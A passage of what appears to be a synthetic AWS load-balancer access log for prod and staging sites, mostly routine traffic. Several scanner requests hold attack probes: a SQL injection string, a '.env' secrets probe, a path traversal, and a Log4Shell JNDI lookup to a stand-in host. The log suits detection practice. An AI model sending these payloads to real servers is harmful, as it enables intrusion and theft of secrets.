0.034508 301 301 511 6625 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc2a-e2e41e86344a42578e0eb28b" "prod-web-alb.example.com" "-" 4 2024-11-01T01:27:54.065508Z "forward" "-" "-" "10.0.120.248:443" "301" "-" "-" -https 2024-11-01T01:27:54.735837Z prod-web-alb 244.82.46.246:30590 10.0.204.92:443 0.052722 0.223265 0.004741 301 301 8 845 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc2a-fea25ce86540479c8ca74f4c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:27:54.735837Z "forward" "-" "-" "10.0.204.92:443" "301" "-" "-" -https 2024-11-01T01:27:55.260634Z prod-api-alb 108.64.160.103:64892 10.0.87.252:443 0.012015 0.308485 0.071576 302 302 830 4572 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc2b-59aa674444364cf98e707e29" "prod-api-alb.example.com" "-" 6 2024-11-01T01:27:55.260634Z "forward" "-" "-" "10.0.87.252:443" "302" "-" "-" -https 2024-11-01T01:27:57.183915Z prod-web-alb 14.139.99.44:56869 10.0.20.38:443 0.023771 0.187295 0.023816 200 200 330 11582 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc2d-1110658f802c4ff09b5dc1f0" "prod-web-alb.example.com" "-" 2 2024-11-01T01:27:57.183915Z "forward" "-" "-" "10.0.20.38:443" "200" "-" "-" -https 2024-11-01T01:27:58.795778Z prod-web-alb 67.224.168.146:48771 10.0.248.127:443 0.021107 0.195006 0.099860 200 200 187 12249 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc2e-a986fd805ce246329abf631e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:27:58.795778Z "forward" "-" "-" "10.0.248.127:443" "200" "-" "-" -http 2024-11-01T01:27:59.166662Z staging-alb 45.155.205.16:53075 138.127.18.44:8080 0.095209 0.441137 0.097773 500 500 209 7896 "GET /login?id=1'-- HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc2f-d3c990c46fd949aaa6d30421" "-" "-" 4 2024-11-01T01:27:59.166662Z "forward" "-" "-" "138.127.18.44:8080" "500" "-" "-" -https 2024-11-01T01:28:00.340572Z prod-api-alb 163.204.162.251:44815 10.0.84.194:443 0.089230 0.047320 0.058697 301 301 42 9454 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc30-a0c12222972845eeaa61c44a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:28:00.340572Z "forward" "-" "-" "10.0.84.194:443" "301" "-" "-" -http 2024-11-01T01:28:01.596626Z staging-alb 206.6.93.72:59717 205.169.235.233:443 0.070391 0.509605 0.012145 301 301 389 9523 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc31-ba5901ccdfda4b8fad54c1ab" "staging-alb.example.com" "-" 1 2024-11-01T01:28:01.596626Z "forward" "-" "-" "205.169.235.233:443" "301" "-" "-" -https 2024-11-01T01:28:03.158647Z staging-alb 133.105.225.245:15596 3.166.190.127:443 0.144333 0.232507 0.095156 200 200 974 567 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc33-275c226092a649628f277e58" "staging-alb.example.com" "-" 2 2024-11-01T01:28:03.158647Z "forward" "-" "-" "3.166.190.127:443" "200" "-" "-" -https 2024-11-01T01:28:04.348438Z prod-web-alb 109.0.32.52:31360 10.0.215.217:443 0.063128 0.151484 0.096854 200 200 42 446 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc34-0913423e54814f4f886cd152" "prod-web-alb.example.com" "-" 0 2024-11-01T01:28:04.348438Z "forward" "-" "-" "10.0.215.217:443" "200" "-" "-" -https 2024-11-01T01:28:05.129860Z prod-web-alb 248.130.239.196:64292 10.0.36.30:443 0.007829 0.354534 0.066796 301 301 109 13400 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc35-ab0f59636d1b4822bfeabb8f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:28:05.129860Z "forward" "-" "-" "10.0.36.30:443" "301" "-" "-" -https 2024-11-01T01:28:05.616018Z staging-alb 185.181.15.100:57819 179.46.20.108:8080 0.087098 0.147413 0.008825 301 301 769 5119 "GET /administrator HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc35-b39585f4db604b988d457f36" "-" "-" 3 2024-11-01T01:28:05.616018Z "forward" "-" "-" "179.46.20.108:8080" "301" "-" "-" -https 2024-11-01T01:28:07.423800Z staging-alb 35.145.151.188:29956 158.96.183.128:80 0.070471 0.299727 0.080608 302 302 964 2174 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc37-2d94bad085de41fdb3798cdb" "staging-alb.example.com" "-" 1 2024-11-01T01:28:07.423800Z "forward" "-" "-" "158.96.183.128:80" "302" "-" "-" -https 2024-11-01T01:28:09.110846Z staging-alb 111.5.22.216:25136 84.86.42.53:8080 0.147611 0.242178 0.056749 302 302 36 5751 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc39-ef70e06e8665438ba7b09196" "staging-alb.example.com" "-" 4 2024-11-01T01:28:09.110846Z "forward" "-" "-" "84.86.42.53:8080" "302" "-" "-" -https 2024-11-01T01:28:10.318278Z prod-api-alb 51.105.2.48:16281 10.0.77.75:443 0.091039 0.000879 0.096720 302 302 246 9992 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc3a-ca3b085b1450477a8524b620" "prod-api-alb.example.com" "-" 3 2024-11-01T01:28:10.318278Z "forward" "-" "-" "10.0.77.75:443" "302" "-" "-" -https 2024-11-01T01:28:11.359050Z prod-api-alb 215.124.132.28:20181 10.0.201.110:443 0.053069 0.106330 0.098880 404 404 415 9159 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc3b-cdbe7e40cfa247b28b3c84f2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:28:11.359050Z "forward" "-" "-" "10.0.201.110:443" "404" "-" "-" -https 2024-11-01T01:28:12.559278Z prod-web-alb 7.254.168.160:38390 10.0.184.12:443 0.093092 0.177189 0.097704 301 301 907 4054 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc3c-df06285df837440ebbbffaee" "prod-web-alb.example.com" "-" 0 2024-11-01T01:28:12.559278Z "forward" "-" "-" "10.0.184.12:443" "301" "-" "-" -https 2024-11-01T01:28:13.520383Z prod-api-alb 102.0.146.238:55291 10.0.226.6:443 0.039700 0.018218 0.080932 302 302 913 4166 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc3d-57fa0b92d32243a3b6c842fd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:28:13.520383Z "forward" "-" "-" "10.0.226.6:443" "302" "-" "-" -https 2024-11-01T01:28:14.046840Z prod-api-alb 104.172.27.3:49540 10.0.169.83:443 0.042732 0.068921 0.004006 200 200 915 7237 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc3e-9ae971049b604163bf5f2d21" "prod-api-alb.example.com" "-" 3 2024-11-01T01:28:14.046840Z "forward" "-" "-" "10.0.169.83:443" "200" "-" "-" -https 2024-11-01T01:28:15.098572Z staging-alb 76.71.25.71:11140 138.194.14.174:443 0.040282 0.673513 0.110561 200 200 86 2441 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc3f-c91106ef1a5d4ab7a46146ee" "staging-alb.example.com" "-" 2 2024-11-01T01:28:15.098572Z "forward" "-" "-" "138.194.14.174:443" "200" "-" "-" -https 2024-11-01T01:28:16.007641Z staging-alb 64.13.158.56:63461 248.1.197.235:80 0.062471 0.224751 0.084158 404 404 701 1254 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc40-2a612fdc6bdc4d3cb1f03ffd" "staging-alb.example.com" "-" 6 2024-11-01T01:28:16.007641Z "forward" "-" "-" "248.1.197.235:80" "404" "-" "-" -https 2024-11-01T01:28:17.522966Z prod-api-alb 98.234.0.194:25287 10.0.196.13:443 0.031167 0.037083 0.088653 200 200 656 3996 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc41-223751468c0b4a66898959c2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:28:17.522966Z "forward" "-" "-" "10.0.196.13:443" "200" "-" "-" -https 2024-11-01T01:28:19.341450Z prod-web-alb 40.107.128.131:17646 10.0.114.236:443 0.075404 0.195088 0.006784 200 200 631 13063 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc43-556ec86ff9f64b388dd9e196" "prod-web-alb.example.com" "-" 5 2024-11-01T01:28:19.341450Z "forward" "-" "-" "10.0.114.236:443" "200" "-" "-" -https 2024-11-01T01:28:21.281097Z prod-web-alb 169.70.3.67:21787 10.0.252.165:443 0.004066 0.072525 0.040189 302 302 417 11257 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc45-b34a7162fa3b4f96b8b27ab8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:28:21.281097Z "forward" "-" "-" "10.0.252.165:443" "302" "-" "-" -https 2024-11-01T01:28:22.641936Z prod-api-alb 171.220.229.207:14520 10.0.204.126:443 0.000477 0.017581 0.027494 200 200 569 14455 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc46-d2fee14b70e04f0695bed5fa" "prod-api-alb.example.com" "-" 1 2024-11-01T01:28:22.641936Z "forward" "-" "-" "10.0.204.126:443" "200" "-" "-" -https 2024-11-01T01:28:24.602656Z prod-api-alb 1.186.205.79:23085 10.0.245.149:443 0.058424 0.398245 0.042982 301 301 141 606 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc48-fdc61954192544eeb58449b1" "prod-api-alb.example.com" "-" 9 2024-11-01T01:28:24.602656Z "forward" "-" "-" "10.0.245.149:443" "301" "-" "-" -http 2024-11-01T01:28:25.624957Z staging-alb 9.101.23.251:46586 110.54.250.102:80 0.095126 0.285525 0.041035 200 200 736 5721 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc49-e700ff522c7b450db7012cb9" "staging-alb.example.com" "-" 7 2024-11-01T01:28:25.624957Z "forward" "-" "-" "110.54.250.102:80" "200" "-" "-" -https 2024-11-01T01:28:26.750059Z staging-alb 220.162.77.158:55688 20.208.104.22:80 0.132515 0.076698 0.146196 200 200 706 14471 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4a-a31f7921ab8a4bbf86323d7e" "staging-alb.example.com" "-" 7 2024-11-01T01:28:26.750059Z "forward" "-" "-" "20.208.104.22:80" "200" "-" "-" -https 2024-11-01T01:28:28.170362Z staging-alb 45.155.205.70:24312 210.83.53.85:80 0.129029 0.351123 0.126709 302 302 557 7050 "GET /.env HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4c-00b7fc43cbd44d119e21b270" "-" "-" 7 2024-11-01T01:28:28.170362Z "forward" "-" "-" "210.83.53.85:80" "302" "-" "-" -https 2024-11-01T01:28:28.723097Z prod-web-alb 91.168.47.93:57351 10.0.185.89:443 0.025619 0.218335 0.054841 301 301 693 13993 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc4c-ebb95e9d9fab4c739adc6470" "prod-web-alb.example.com" "-" 6 2024-11-01T01:28:28.723097Z "forward" "-" "-" "10.0.185.89:443" "301" "-" "-" -https 2024-11-01T01:28:30.605778Z staging-alb 190.141.214.130:48345 136.14.58.186:443 0.017671 0.594491 0.030695 302 302 409 11849 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4e-78015ca38bad49fc99346fb5" "staging-alb.example.com" "-" 2 2024-11-01T01:28:30.605778Z "forward" "-" "-" "136.14.58.186:443" "302" "-" "-" -https 2024-11-01T01:28:31.567988Z staging-alb 45.155.205.86:17037 38.8.220.13:80 0.145365 0.577656 0.022699 403 403 527 6112 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc4f-50137262c8bc444db7cc5bf7" "-" "-" 7 2024-11-01T01:28:31.567988Z "forward" "-" "-" "38.8.220.13:80" "403" "-" "-" -https 2024-11-01T01:28:33.423942Z prod-web-alb 178.36.33.175:49470 10.0.34.8:443 0.024847 0.228777 0.085164 301 301 768 11983 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc51-724fdd8bec9244f1a7bc7557" "prod-web-alb.example.com" "-" 6 2024-11-01T01:28:33.423942Z "forward" "-" "-" "10.0.34.8:443" "301" "-" "-" -https 2024-11-01T01:28:33.636843Z prod-api-alb 195.133.132.8:31492 10.0.74.44:443 0.056967 0.472975 0.067903 200 200 316 7438 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc51-420b90580fb84c2688a40def" "prod-api-alb.example.com" "-" 8 2024-11-01T01:28:33.636843Z "forward" "-" "-" "10.0.74.44:443" "200" "-" "-" -https 2024-11-01T01:28:35.604256Z prod-web-alb 45.155.205.109:55742 10.0.168.182:443 0.070391 0.375248 0.095865 500 500 345 657 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc53-3e79da8a685a4815b12188b8" "-" "-" 6 2024-11-01T01:28:35.604256Z "forward" "-" "-" "10.0.168.182:443" "500" "-" "-" -https 2024-11-01T01:28:36.401364Z prod-web-alb 31.167.222.134:33330 10.0.111.144:443 0.042993 0.348762 0.084486 200 200 172 5112 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc54-cb2753836bad4144ae151ab1" "prod-web-alb.example.com" "-" 7 2024-11-01T01:28:36.401364Z "forward" "-" "-" "10.0.111.144:443" "200" "-" "-" -https 2024-11-01T01:28:38.067285Z prod-web-alb 161.90.68.37:63239 10.0.98.56:443 0.032363 0.166884 0.033765 302 302 157 4168 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc56-251a241644d04bd4b52635c9" "prod-web-alb.example.com" "-" 1 2024-11-01T01:28:38.067285Z "forward" "-" "-" "10.0.98.56:443" "302" "-" "-" -https 2024-11-01T01:28:39.961779Z prod-web-alb 215.58.102.191:54097 10.0.192.30:443 0.044435 0.072243 0.027184 200 200 856 10641 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc57-9554e22a0e5e4d2aa4d36518" "prod-web-alb.example.com" "-" 2 2024-11-01T01:28:39.961779Z "forward" "-" "-" "10.0.192.30:443" "200" "-" "-" -https 2024-11-01T01:28:40.758073Z prod-api-alb 198.139.124.37:25675 10.0.227.142:443 0.064906 0.402753 0.065847 200 200 712 6303 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc58-6eebba84459646309ca269e8" "prod-api-alb.example.com" "-" 6 2024-11-01T01:28:40.758073Z "forward" "-" "-" "10.0.227.142:443" "200" "-" "-" -https 2024-11-01T01:28:42.179325Z prod-web-alb 169.77.68.7:45441 10.0.49.19:443 0.022966 0.047571 0.018626 200 200 57 11851 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc5a-3790c7c63de748c59470c0da" "prod-web-alb.example.com" "-" 4 2024-11-01T01:28:42.179325Z "forward" "-" "-" "10.0.49.19:443" "200" "-" "-" -https 2024-11-01T01:28:44.119578Z prod-web-alb 104.226.46.52:62999 10.0.137.53:443 0.044464 0.245578 0.091456 200 200 303 12439 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc5c-8f88e4fd8cc84421b81ccdb4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:28:44.119578Z "forward" "-" "-" "10.0.137.53:443" "200" "-" "-" -https 2024-11-01T01:28:45.493858Z prod-api-alb 53.220.193.1:22975 10.0.181.141:443 0.047852 0.457390 0.058645 302 302 4 12726 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc5d-81397f714b03420aa0a0d1a1" "prod-api-alb.example.com" "-" 5 2024-11-01T01:28:45.493858Z "forward" "-" "-" "10.0.181.141:443" "302" "-" "-" -https 2024-11-01T01:28:46.713111Z prod-api-alb 198.84.95.146:11152 10.0.107.53:443 0.070464 0.410972 0.068346 302 302 802 940 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc5e-68e1a10b8fbf4fbd89261bb5" "prod-api-alb.example.com" "-" 0 2024-11-01T01:28:46.713111Z "forward" "-" "-" "10.0.107.53:443" "302" "-" "-" -http 2024-11-01T01:28:48.270145Z staging-alb 214.87.17.253:50693 177.204.58.219:8080 0.078184 0.620731 0.037946 301 301 712 3913 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc60-04f6cea2a6fa4e24b91b0fb5" "staging-alb.example.com" "-" 2 2024-11-01T01:28:48.270145Z "forward" "-" "-" "177.204.58.219:8080" "301" "-" "-" -http 2024-11-01T01:28:49.899791Z staging-alb 60.121.72.75:25945 147.78.155.215:443 0.032302 0.070197 0.063339 301 301 354 14662 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc61-9a5512e4b56b486e9d05fd0b" "staging-alb.example.com" "-" 8 2024-11-01T01:28:49.899791Z "forward" "-" "-" "147.78.155.215:443" "301" "-" "-" -http 2024-11-01T01:28:51.177629Z staging-alb 232.195.64.66:61982 179.193.241.73:443 0.030208 0.159542 0.077768 200 200 546 393 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc63-648e8510381545ba8785bc73" "staging-alb.example.com" "-" 0 2024-11-01T01:28:51.177629Z "forward" "-" "-" "179.193.241.73:443" "200" "-" "-" -http 2024-11-01T01:28:52.952397Z staging-alb 12.174.181.159:57709 233.225.175.53:8080 0.118966 0.085990 0.031778 302 302 426 252 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc64-3b4bf25216734113a341ec9b" "staging-alb.example.com" "-" 9 2024-11-01T01:28:52.952397Z "forward" "-" "-" "233.225.175.53:8080" "302" "-" "-" -https 2024-11-01T01:28:53.365879Z prod-web-alb 154.6.178.34:58363 10.0.90.109:443 0.065860 0.184140 0.067315 200 200 724 4198 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc65-f38d097c88964c9b83466b77" "prod-web-alb.example.com" "-" 3 